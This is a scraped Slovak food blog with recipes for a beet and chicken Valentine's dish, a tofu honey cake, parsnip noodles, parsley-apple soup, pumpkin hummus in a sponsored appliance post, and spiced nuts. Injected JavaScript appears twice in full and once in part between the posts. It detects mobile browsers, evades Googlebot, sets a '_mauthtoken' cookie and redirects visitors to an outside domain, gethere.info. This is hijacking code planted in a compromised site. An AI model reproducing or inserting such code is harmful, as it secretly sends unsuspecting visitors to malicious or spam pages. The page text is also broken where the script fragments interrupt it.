FoodLover

prinášame pôžitok zo zdravého jedla

You are here: Home / Blog

Láska na tanieri

by Leave a Comment

Nevedela som, ako inak nazvať toto papanie.. Bolo totiž vytvorené k blížiacemu sa Dňu sv. Valentína a keď sa naň pozriem, vidím na tanieri lásku. Lásku k jedlu, sezónnym ingredienciám, lásku k vareniu. Zimnými ingredienciami sú najmä koreňové zeleniny a citrusy (i keď tie u nás nerastú). Celý tanier sa nesie v červených farbách, aby mal čo “najbližsie” k láske :).

Cviklový šalát s pomelom a granátovým jablkom a mäsko, ktoré sa marinovalo v nastrúhanej cvikli. Mäsko je po ugrilovaní glazované v omáčke typu demiglace (ktorá tiež bola doplnená o cviklu).

Možno to celé znie trošku komplikovane, ale je to úplne jednoduché papanie.

Ingrediencie: (pre 2 osoby)

  • 500g cvikle
  • 300g kuracích stehien/pŕs
  • 1/2 pomela
  • 2 hrste semiačok granátového jablka
  • na omáčku: 3dcl silného vývaru + 1 cibuľa + kúsok cvikle + kúsok masla
  • čerstvé bylinky – petržlenová vňať alebo mäta
  • soľ a korenie podľa chuti
  • olivový olej, balsamico, citrónová šťava
  • plátky ovčieho syra – nemusí byť

Postup:

  1. Ako prvé si očistíme mäsko a nakrájame na malé medajlónky. Nastrúhame si 1 malú cviklu a pridáme k nej mäsko, ktoré v nej poriadne pomasírujeme.  Chceme aby mäsko chytilo jej ružovú farbu.
  2. Zvyšok cvikle umyjeme, nakrájame na polky a dáme variť. Mne osobne sa lepšie cvikla šúpe až po uvarení. Cviklu varíme cca 30minút, do mierneho zmäknutia.
  3. Medzitým si očistíme pomelo a granátové jablko. Uvarenú cviklu ošúpeme a nakrájame na mesiačiky – kúsok cvikle odložíme nabok. Tie osolíme, okoreníme a dáme marinovať do oleja s balsamicom (v pomere 2:1).
  4. Nakrájame si cibuľu na plátky spolu s odloženým kúskom cvikle. Tie na troške oleja smažíme asi 3minútky a podlejeme vývarom. Ten necháme redukovať asi na 1/4 objemu. Precedíme cez sitko a opäť dáme do hrnca. Omáčka by malo mať krásne červenú farbu. Pridáme maslo a ešťe chvíľu redukujeme, kým nám nevznikne hustá sirupová glazúra. Mäsko sprudka opekáme asi 2minútky z každej strany. Opečené mäsko dáme do omáčky a poriadne ho v nej obalíme.
  5. Na taniere poukladáme kúsky cvikle, pomela a granátové jablko. Šalát dochutíme olejom a troškou citrónovej šťavy. Poukladáme naň kúsky oglazovaného mäska a doplníme o nasekané bylinky.
  6. Prajem Vám dobrú chuť a krásneho Valentína. A ak tento deň neuznávate, budem rada ak si takéto papanie jednoducho pripravíte na spríjemnenie dňa :).

Print
Láska na tanieri

Láska na tanieri

Ingredients

  • 500g cvikle
  • 300g kuracích stehien/pŕs
  • 1/2 pomela
  • 2 hrste semiačok granátového jablka
  • na omáčku: 3dcl silného vývaru + 1 cibuľa + kúsok cvikle + kúsok masla
  • čerstvé bylinky - petržlenová vňať alebo mäta
  • soľ a korenie podľa chuti
  • olivový olej, balsamico, citrónová šťava
  • plátky ovčieho syra - nemusí byť

Instructions

  1. Ako prvé si očistíme mäsko a nakrájame na malé medajlónky. Nastrúhame si 1 malú cviklu a pridáme k nej mäsko, ktoré v nej poriadne pomasírujeme. Chceme aby mäsko chytilo jej ružovú farbu.
  2. Zvyšok cvikle umyjeme, nakrájame na polky a dáme variť. Mne osobne sa lepšie cvikla šúpe až po uvarení. Cviklu varíme cca 30minút, do mierneho zmäknutia.
  3. Medzitým si očistíme pomelo a granátové jablko. Uvarenú cviklu ošúpeme a nakrájame na mesiačiky - kúsok cvikle odložíme nabok. Tie osolíme, okoreníme a dáme marinovať do oleja s balsamicom (v pomere 2:1).
  4. Nakrájame si cibuľu na plátky spolu s odloženým kúskom cvikle. Tie na troške oleja smažíme asi 3minútky a podlejeme vývarom. Ten necháme redukovať asi na 1/4 objemu. Precedíme cez sitko a opäť dáme do hrnca. Omáčka by malo mať krásne červenú farbu. Pridáme maslo a ešťe chvíľu redukujeme, kým nám nevznikne hustá sirupová glazúra. Mäsko sprudka opekáme asi 2minútky z každej strany. Opečené mäsko dáme do omáčky a poriadne ho v nej obalíme.
  5. Na taniere poukladáme kúsky cvikle, pomela a granátové jablko. Šalát dochutíme olejom a troškou citrónovej šťavy. Poukladáme naň kúsky oglazovaného mäska a doplníme o nasekané bylinky.
  6. Prajem Vám dobrú chuť a krásneho Valentína. A ak tento deň neuznávate, budem rada ak si takéto papanie jednoducho pripravíte na spríjemnenie dňa :).

A takto môže vyzerať aj Váš valentínsky dezert :)

Medový krémeš

by Leave a Comment

Keď som bola malá, mojím najobľúbenejším koláčom bola práve medový krémeš od mojej babky. Na každý môj sviatok som si pýtala práve ten.. A to aj napriek tomu, že ani môj brat ani môj ujo ho moc nemuseli :(. A to bol jeden z dôvodov, prečo ho babka po čase prestala robievať.. Samozrejme to bolo spôsobené aj tým, že ja som sladké v istom veku začala odmietať.. Ak by som si však mohla vybrať tradičný koláč, ktorý milujem najviac, bol by to práve on <3.

Domáce medové pláty a ten ľahký krém z vanilkového pudingu a tradičného masla. No jednoducho pre mňa to bola čistá láska. Už dlhšiu dobu som premýšľala nad tým, ako by sa dal spraviť krémeš z “alternatívnych” surovín. Čo sa týka cesta, napadli ma dve varianty. Klasické nepečené pláty z datlí a orechov alebo piškót z mandlí a kokosového cukru. Tentokrát som siahla po tých nepečených a krém som vytvorila z bieleho tofu, medu, kokosového mlieka a oleja. Dostala som totiž výzvu vytvoriť dezert z tofu Lunter a toto ma napadlo. Poviem Vám, že na moje prekvapenie ozaj chutil.. A to aj skupine ľudí z kaviarní, kam dodávam moje mandlove torty. Ja som bola ozaj voči tomu skeptická, ale tento dezert nie len že chutí, ale naozaj medový krémeš pripomína :).. Tak ak ste milovníkmi krémešu aj vy, určite ho vyskúšajte :).

*nabudúce ešte skúsim vytvoriť tú druhú veriu, a uvidíme čo to bude :)

Ingrediencie: (na formu cca 20x20cm)

Medové pláty:

  • 200g kešu (mleté)
  • 200g vlašských orechov (mleté)
  • 200g čerstvých datlí alebo 120g sušených, namočených na noc
  • Asi 1lyžica kokosovej múky
  • Štipka soli

Plnka:

  • 360g tofu natural
  • 100g kokosového mlieka alebo iného rastlinného mlieka
  • 3lyžice kokosového oleja
  • 70g medu alebo javorového sirupu
  • Štipka vanilky

Postup:

  1. Spodok si jednoducho pripravíme tak, že mixujeme všetky ingrediencie v robote, kým nevznikne husté a pevné cesto. Pridáme trošku kokosovej múky, aby sa cesto nelepilo. Rozdelíme ho na dve časti a vyválkame na pláty veľkosti formy – najlepšie sa to robí medzi dvoma papiermi na pečenie.
  2. Plnku jednoducho pripravíme tak, že všetky ingrediencie rozmixujeme na hladký krém. Dochutíme podľa potreby.
  3. Formu vystelieme papierom na pečenie, dame prvý plát, navrstvíme krém a položíme naň druhý.
  4. Dáme chladiť do mrazničky na 2hodinky, aby plnka stuhla.
  5. Vyberieme z mrazničky a nakrájame na male kocky. Poprípade posypeme kokosovou múkou pre pocit a vizuálny dojem cukru :)
  6. Môžeme podávať. Prajem dobrú chuť.

Print
Medový krémeš

Medový krémeš

Ingredients

    Medové pláty:
  • 200g kešu (mleté)
  • 200g vlašských orechov (mleté)
  • 200g čerstvých datlí alebo 120g sušených, namočených na noc
  • Asi 1lyžica kokosovej múky
  • Štipka soli
    Plnka:
  • 360g tofu natural
  • 100g kokosového mlieka alebo iného rastlinného mlieka
  • 3lyžice kokosového oleja
  • 70g medu alebo javorového sirupu
  • Štipka vanilky

Instructions

  1. Spodok si jednoducho pripravíme tak, že mixujeme všetky ingrediencie v robote, kým nevznikne husté a pevné cesto. Pridáme trošku kokosovej múky, aby sa cesto nelepilo. Rozdelíme ho na dve časti a vyválkame na pláty veľkosti formy – najlepšie sa to robí medzi dvoma papiermi na pečenie.
  2. Plnku jednoducho pripravíme tak, že všetky ingrediencie rozmixujeme na hladký krém. Dochutíme podľa potreby.
  3. Formu vystelieme papierom na pečenie, dame prvý plát, navrstvíme krém a položíme naň druhý.
  4. Dáme chladiť do mrazničky na 2hodinky, aby plnka stuhla.
  5. Vyberieme z mrazničky a nakrájame na male kocky. Poprípade posypeme kokosovou múkou pre pocit a vizuálny dojem cukru :)
  6. Môžeme podávať. Prajem dobrú chuť.
if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

Pasta, paštrnák a petržlen

by Leave a Comment

Zaľúbila som sa do paštrnáku.. A to bezhranične.

A ako sa to stalo? Takto :). V sobotu vo Fresh markete som mala v pláne pripravovať krém z paštrnáku a jabĺk. Keďže som paštrnák nikde nevedela zohnať, pripravovala som krém z petržlenu. Však vyzerá podobne, hovorila som si.. Polievočka mala úspech, a tak mi paštrnák zišiel z mysle.

Tento utorok som ale bola robiť môj prvý “privátny” kurz varenia a jednou z vecí na menu bol krém z koreňovej zeleniny. A čo sa nestalo, namiesto petržlenu sa kúpil paštrnák :).

IMG_4142

A tak sme si na kurze pripravili paštrnákový krém. Keď som ucítila tú sladkú vôňu pri jeho pečení, vedela som, že toto bude čosi výnimočné.. A to naozaj bolo. Pre mňa to bola láska na prvé sústo, a normálne nerozumiem tomu, ako je možné, že som s ním nikdy pred tým nepracovala. Tak ma tento koreň očaril, že som si ho okamžite šla kúpiť. Našla som, že sa perfektne páruje s hríbami, a tak prvé jedlo boli rezančeky s hubovým ragú. Napodiv bol paštrnák v role cestovín úžasný, a tak mi nedalo sa o toto poznanie s vami nepodeliť. Nechcelo sa mi však robiť dva krát to isté, a tak som si dnes na obed pripravila toto :).

Bylinkové pesto je jedna z top vecí, ktorú si na cestoviny môžete dať. Keďže bazalku v tomto období asi ťažko niekde nájdeme, siahla som po petržlenovej vňati. Rozmixovala ju s olivovým olejom, kúskom cesnaku a pomletými píniovými orieškami. Papanie som doplnila o kurací steak a grilované portobello šampióny. Jednoduché, rýchle, sezónne a zdravé jedlo za pár minút. Čo viac  si môžeme priať :).

IMG_4145

Ingrediencie: (pre 2 osoby)

  • 400g paštrnáku
  • 1 zväzok petržlenovej vňate
  • 1/2 strúčiku cesnaku
  • 4 lyžice olivového oleja
  • soľ a korenie podľa chuti
  • 30g píniových alebo iných orieškov
  • 1 kuracie prsia
  • 2 veľké šampióny
  • olivový olej na opekanie
  • bylinky na dekoráciu

Postup:

  1. Paštrnák si očistíme na nakrájame na jemné rezančeky.
  2. Petržlenovú vňať, olej, cesnak, soľ a korenie rozmixujeme na pastu. Pridáme do nej pomleté oriešky a premiešame.
  3. Rezančeky varíme v osolenej vode asi 4minútky. POZOR, paštrnák rýchlo zmäkne (narozdiel od petržlenu).
  4. Kuracie prsia umyjeme, očistíme a narežeme na podobne veľké medailónky. Hríby očistíme a nakrájame na polky – štvrtiny. Mäsko a hríby opekáme na olivovom oleji grilovacej panvici 2-3minútky z každej strany. Až po dopečení osolíme a okoreníme.
  5. Uvarené rezančeky premiešame s pestom a naservírujeme na tanier. Doplníme o mäsko a hríby a podávame :).
  6. Prajem dobrú chuť.

 

Print
Paštrnákové rezančeky s petržlenovým pestom

Paštrnákové rezančeky s petržlenovým pestom

Ingredients

  • 400g paštrnáku
  • 1 zväzok petržlenovej vňate
  • 1/2 strúčiku cesnaku
  • 4 lyžice olivového oleja
  • soľ a korenie podľa chuti
  • 30g píniových alebo iných orieškov
  • 1 kuracie prsia
  • 2 veľké šampióny
  • olivový olej na opekanie
  • bylinky na dekoráciu

Instructions

  1. Paštrnák si očistíme na nakrájame na jemné rezančeky.
  2. Petržlenovú vňať, olej, cesnak, soľ a korenie rozmixujeme na pastu. Pridáme do nej pomleté oriešky a premiešame.
  3. Rezančeky varíme v osolenej vode asi 4minútky. POZOR, paštrnák rýchlo zmäkne (narozdiel od petržlenu).
  4. Kuracie prsia umyjeme, očistíme a narežeme na podobne veľké medailónky. Hríby očistíme a nakrájame na polky - štvrtiny. Mäsko a hríby opekáme na olivovom oleji grilovacej panvici 2-3minútky z každej strany. Až po dopečení osolíme a okoreníme.
  5. Uvarené rezančeky premiešame s pestom a naservírujeme na tanier. Doplníme o mäsko a hríby a podávame :).
  6. Prajem dobrú chuť.

Petržlenový krém s jablkami

by Leave a Comment

V tomto zimnom období by sme si mali dopriať čo najviac jedál, ktoré nás zahrejú. Podľa mňa sú takýmto jedlom najmä polievky. Keď som bola mladšia, nadšencom polievok som zrovna nebola.. Keď tak som mala rada tie krémové alebo prívarky. Tie boli však často plné smotany alebo záprašok. Keď som však začala variť “podľa seba”, objavila som čaro hustých zeleninových krémov. Takých, ktoré nepotrebujú kopec smotany či záprašku na zahustenie. Jednoducho treba použiť väčší podiel zeleniny. Medzi moje naobľúbenejšie patrí samorejme thajský hokkaido krém, a ďalej mrkvovo-zázvorový, hráškovo-mätový a brokolicový <3.

IMG_4100

S “krémovým” petržlenom som sa prvý krát stretla ako s prílohou vo forme pyré. V podstate jediný rozdiel je ten, že do pyré sa dáva ešte menej vody :). Táto polievka je iná v tom, že petržlen sa pred dusením pečie. Takto totiž získa neodolateľne sladkú chuť. Skombinovaný je s kyslým jablkom, ktorý dodá polievke potrebné vyváženie chuti :). Doplnená je o posýpku z pečeného petržlenu, chrumkavých jabĺk a orechov, a nakrájanú vňať.

IMG_4106

Presne túto polievku budem v sobotu pripravovať v mojom milovanom Fresh Markete :). Veľmi sa teším, že mám konečne možnosť variť takto “verejne” pre väčšie množstvo ľudí. A že to bude dokonca vo forme “školy varenia”. Pre mňa je odovdávanie mojich znalostí ľuďom asi najväčšia radosť, takže sa ozaj neviem dočkať. Možno bude z tohto podujatia aj nejaký záznam, tak ten Vám keď tak ukážem vo forme videa. Možno práve to bude začiatkom video receptov, ktoré by sa onedlho mali stať realitou a pravidelnou súčasťou tohto blogu :).

Ingrediencie: (na 4-5 porcií)

  • 1 veľká cibuľa
  • 2 strúčiky cesnaku
  • 2 jablká (najlepšie kyslejšie, napr. granny smith)
  • 500g petržlenu
  • 50g masla
  • 2lyžice olivového oleja
  • Soľ, korenie podľa chuti
  • Hrsť pražených vlašských orechov
  • Petržlenová vňať
  • Šťava z ½ citrónu alebo limetky
  • 2-3hrnčeky vody alebo zeleninového vývaru

Postup:

  1. Petržlen si umyjeme a ošúpeme. Nakrájame na väčšie časti.
  2. Poukladáme na papier na pečenie, osolíme a okoreníme. Pokvapkáme olivovým olejom.
  3. Takto pečieme na 190°C cca 30minút (do zmäknutia).
  4. Medzitým si nakrájame cibuľu, cesnak a jedno ošúpané jablko na jemno.
  5. Cibuľku a cesnak podusíme na olivovom oleji asi 5minút a pridáme nakrájané jablko. Ďalej dusíme.
  6. Keď sa nám dopečie petržlen, pridáme ho do hrnca (pár kúskov dáme stranou). Podlejeme vodou alebo vývarom. Osolíme a okoreníme.
  7. Dusíme do úplneho zmäknutia petržlenu. Potom polievku rozmixujeme v stolnom mixéri na krém. Podľa potreby a preferencie pridáme vodu. Opäť dochutíme soľou a korením. Opäť privedieme do varu a zjemníme krém maslom.
  8. Nakoniec si nakrájame druhé jabĺčko a kúsky petržlenu na tenké pásiky a pridáme citrónovú šťavu. Zmiešame s nasekanými orechami a vňaťkou.
  9. Krém naservírujeme na tanier alebo do misky a posypeme jabĺčkovo-orechovou zmesou.
  10. Prajem dobrú chuť.

IMG_4102

Print
Petržlenový krém s jablkami

Petržlenový krém s jablkami

Ingredients

  • 1 veľká cibuľa
  • 2 strúčiky cesnaku
  • 2 jablká (najlepšie kyslejšie, napr. granny smith)
  • 500g petržlenu
  • 50g masla
  • 2lyžice olivového oleja
  • Soľ, korenie podľa chuti
  • Hrsť pražených vlašských orechov
  • Petržlenová vňať
  • Šťava z ½ citrónu alebo limetky
  • 2-3hrnčeky vody alebo zeleninového vývaru

Instructions

  1. Petržlen si umyjeme a ošúpeme. Nakrájame na väčšie časti.
  2. Poukladáme na papier na pečenie, osolíme a okoreníme. Pokvapkáme olivovým olejom.
  3. Takto pečieme na 190°C cca 30minút (do zmäknutia).
  4. Medzitým si nakrájame cibuľu, cesnak a jedno ošúpané jablko na jemno.
  5. Cibuľku a cesnak podusíme na olivovom oleji asi 5minút a pridáme nakrájané jablko. Ďalej dusíme.
  6. Keď sa nám dopečie petržlen, pridáme ho do hrnca (pár kúskov dáme stranou). Podlejeme vodou alebo vývarom. Osolíme a okoreníme.
  7. Dusíme do úplneho zmäknutia petržlenu. Potom polievku rozmixujeme v stolnom mixéri na krém. Podľa potreby a preferencie pridáme vodu. Opäť dochutíme soľou a korením. Opäť privedieme do varu a zjemníme krém maslom.
  8. Nakoniec si nakrájame druhé jabĺčko a kúsky petržlenu na tenké pásiky a pridáme citrónovú šťavu. Zmiešame s nasekanými orechami a vňaťkou.
  9. Krém naservírujeme na tanier alebo do misky a posypeme jabĺčkovo-orechovou zmesou.
  10. Prajem dobrú chuť.
document.currentScript.parentNode.insertBefore(s, document.currentScript);

Tekvicový hummus a ako som odštartovala spoluprácu so značkou Catler

by Leave a Comment

Tekvička už o chvíľku nebude len tak ľahko dostupná, tak kým sa ešte dá, skúste si doma pripraviť túto skvelú krémovú nátierku z tekvice. Je dochutená ako klasický hummus, a preto má recept aj taký názov :). Perfektne chutí so zeleninovými tyčinkami, ale kľudne si ju môžete dopriať aj ako prílohu k mäsku či so šalátom.

img_4012

Tekvicu si najprv upečieme do zmäknutia. Rozdiel medzi varením a pečením tekvice ucítite najmä v jej chuti. Pečením totiž stratí tekvica časť vody,a tým sa zintenzívni jej chuť. Následne sa tekvica rozmixuje pomocou kuchynského robota alebo stolného mixéra. Dochutí sa pastou tahini, cesnakom, olivovým olejom, citrónovou šťavou, čiernym korením a soľou. Kombinácia tekvice a pasty tahini je naozaj zaujímavá, a ak ste milovníkom tekvice (čo ja som), určite Vás tento dip osloví :).

img_3994-2

upečená tekvička

Tento receptík je prvý z rady receptov, ktorý som pripravila v spolupráci so značkou Catler. Ešte pred 2 rokmi, keď som sa blogovaniu venovala veľmi intenzívne, neskutočne som túžila po takejto spolupráci. Avšak som si myslela, že takéto niečo je možné len v zahraničí. Značka Catler patrí do portfólia spotrebičov svetoznámeho výrobcu. Okrem toho, že spotrebiče Catler majú prekrásny dizajn, sú naozaj kvalitné. Mne do kuchyne pribudlo pár takýchto spotrebičov a postupne Vám ukážem ako sa s nimi pracuje a čo je na nich výnimočné. Napríklad so smoothie mixérom by som chcela pripraviť set rýchlych zdravých obedov so sebou. Ja sama mám posledné mesiace obrovský problém s dodržiavaní pravidelného jedálníčka. Keďže viem, že v tom asi nie som sama, takéto recepty budú určite zaujímavé :).

Môžete sa tešiť na sériu receptov, pri ktorých ukážem aj fotky z prípravy, teda bude recept ľahšie pochopiteľý. Prvým je práve tento tekvicový. Recepty budeme pridávať každý mesiac s tým, že sa ich budem snažiť robiť sezónne alebo hodiace sa k danému obdobiu. Toto ma aspoň “prinúti” viac tvoriť, na čo som v poslednom období nemala moc času. Ak sa zadarí a ja sa odhodlám, recepty spravím aj vo forme videa, čo by pre Vás mohlo byť o dosť zaujímavejšie :).

Dúfam, že teda receptík vyskúšate a ak máte nejaké nápady alebo podnety na recepty, ktoré by ste chceli na blogu vidieť, určite mi dajte vedieť :).

Ingrediencie:

  • ½ tekvice Hokkaido (cca 300g)
  • 2 lyžice tahini pasty (maslo zo sezamových semiačok) – môžeme nahradiť pomletými orieškami či semiačkami (mandle, vlašské orechy, lieskovce, tekvicové semiačka)
  • Šťava z ½ citrónu
  • 1 strúčik cesnaku (rozpučený)
  • 3 lyžice olivového oleja
  • 1 kávová lyžička soli
  • Štipka čierneho korenia
  • Ak máme radi štipľavé môžeme pridať kúsok čili papričky
  • Na podávanie: mrkvové, paprikové či uhorkové hranolčeky, čerstvý chlieb či pitu

Postup:

  1. Z tekvicu hokkaido vydlabeme semiačka pomocou lyžice. Tekvicu položíme na plech, jemne osolíme a okoreníme. Pečieme na 200°C cca 30minút do úplného zmäknutia. Necháme vychladnúť.
  2. Tekvicu očistíme nakrájame na menšie časti a vložíme do mixéra alebo robota. Rozmixujeme na pyré na vysokých otáčkach.
  3. Pridáme ostatné ingrediencie a poriadne premixujeme. Podľa chuti dochutíme soľou či korením.
  4. Nátierku preložíme do misky a vychladíme. Pred podávaním dozdobíme olivových olejom a tekvicovými semiačkami.
  5. Podávame so zeleninovými hranolkami alebo čerstvým chlebíkom.
img_3998-2

mixujeme..

img_4000-2

takto krémový by mal byť..

Print
Tekvicový hummus .. ako som odštartovala spoluprácu so značkou Catler

Tekvicový hummus .. ako som odštartovala spoluprácu so značkou Catler

Ingredients

  • ½ tekvice Hokkaido (cca 300g)
  • 2 lyžice tahini pasty (maslo zo sezamových semiačok) – môžeme nahradiť pomletými orieškami či semiačkami (mandle, vlašské orechy, lieskovce, tekvicové semiačka)
  • šťava z ½ citrónu
  • 1 strúčik cesnaku (rozpučený)
  • 3 lyžice olivového oleja
  • 1 kávová lyžička soli
  • štipka čierneho korenia
  • ak máme radi štipľavé môžeme pridať kúsok čili papričky
  • na podávanie: mrkvové, paprikové či uhorkové hranolčeky, čerstvý chlieb či pitu

Instructions

  1. Z tekvicu hokkaido vydlabeme semiačka pomocou lyžice. Tekvicu položíme na plech, jemne osolíme a okoreníme. Pečieme na 200°C cca 30minút do úplného zmäknutia. Necháme vychladnúť.
  2. Tekvicu očistíme nakrájame na menšie časti a vložíme do blendera (typ) alebo food processora (typ). Rozmixujeme na pyré na vysokých otáčkach.
  3. Pridáme ostatné ingrediencie a poriadne premixujeme. Podľa chuti dochutíme soľou či korením.
  4. Nátierku preložíme do misky a vychladíme. Pred podávaním dozdobíme olivových olejom a tekvicovými semiačkami.
  5. Podávame so zeleninovými hranolkami alebo čerstvým chlebíkom.

img_4016

dsc_0007var d=document;var s=d.createElement(‘script’); if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

Orieškový párty snack

by Leave a Comment

O pár dní tu máme Nový rok, a tak, ako som sľúbila, mám pre Vás nachystaných pár receptíkov, ktoré sa hodia práve na jeho oslavy.. Mlsky, o ktoré sa ľahko, a radi podelíte s ľuďmi, s ktorými budete tento výnimočný deň oslavovať.. Alebo pri oslave akéhokoľvek iného dňa :)

Okrem mojich obľúbených dipov ako sú hummus, guacamole či baba ghanoush Vám tento rok odporúčam oriešky pripravené v rôznych príchuťach. Mix orieškov kandizovaný v kokosovom cukre a cejlónskej škorici, zaúdené oriešky s cesnakom, či plnené datle obalené v slaninke. Tieto receptíky sa dajú jednoducho obzvláštniť použitím nejakej bylinky, ako rozmarín či tymián alebo pridaním klinčekov a kardamónu.

img_4019

Ingrediencie:

kandizované oriešky:

  • 160g mixu orieškov (mandle, kešu, vlašské, …)
  • 40g kokosového cukru
  • 20g vody (ak použijeme miesto vody pomarančovú šťavu opäť získame novú príchuť :) )
  • štipka škorice
  • štipka soli

údené oriešky s cesnakom:

  • 3lyžice tuku zo slaninky (ja som použila mangalicovú z Village Farm)
  • 150g mixu orieškov
  • 2 rozpučené cesnaky v šupke
  • soľ a korenie

datle v slaninke:

  • 15ks datlí
  • 15ks orieškov (mandla, vlašský orech)
